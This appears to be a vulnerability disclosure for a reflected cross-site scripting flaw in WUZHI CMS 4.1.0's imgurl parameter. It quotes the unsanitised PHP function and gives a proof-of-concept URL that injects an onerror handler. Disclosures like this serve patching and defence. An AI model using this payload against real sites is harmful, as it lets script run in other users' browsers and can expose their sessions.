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wuzhicms v4.1.0 imgurl reflected xss vulnerability

A xss vulnerability was discovered in WUZHI CMS 4.1.0

There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the imgurl parameter of /index.php?m=attachment&f=imagecut&v=init

Vulnerability file: coreframe/app/attachment/imagecut.php

    function init() {
		if(isset($GLOBALS['imgBase64'])) {
			......
		} else {
			if(!empty($GLOBALS['imgurl'])) {
				$imgurl = urldecode($GLOBALS['imgurl']);
			}
			include T('attachment','imagecut');
		}
	}

PoC:

http://example.com/index.php?m=attachment&f=imagecut&v=init&imgurl=1"+onerror%3d"alert(1)%3b//

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